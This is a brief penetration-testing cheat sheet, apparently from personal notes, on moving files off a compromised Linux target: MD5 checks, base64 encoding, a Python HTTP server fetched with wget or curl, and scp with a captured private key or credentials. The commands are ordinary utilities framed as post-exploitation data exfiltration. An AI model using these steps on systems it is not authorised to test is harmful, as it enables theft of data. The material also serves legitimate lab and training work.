Target: Linux

File Hash​

Always verify the MD5 checksum of a file on both the target and attack hosts after transfer to ensure it wasn't corrupted or altered. It's a good habit for file integrity checks.

# Bash
md5sum filename

# PowerShell
Get-FileHash filename -Algorithm MD5

# Cmd
certutil -hashfile filename MD5

Transfer Techniques​

Base64 Encode & Decode​

# Target
cat filename | base64 -w 0; echo

# Attacker
# Save the string to a file
cat base64_string | base64 -d > filename

Python HTTP Server​

# Target
python3 -m http.server 6969

# Attacker
wget http://tun0:6969/filename
curl http://tun0:6969/filename -o filename

Secure Copy Protocol (SCP)​

If SSH is open and we have the private key (e.g., id_rsa) or valid credentials, we can use scp to transfer files securely between the attack and target hosts.

scp rezy@10.10.10.10:/download/path/filename.txt .
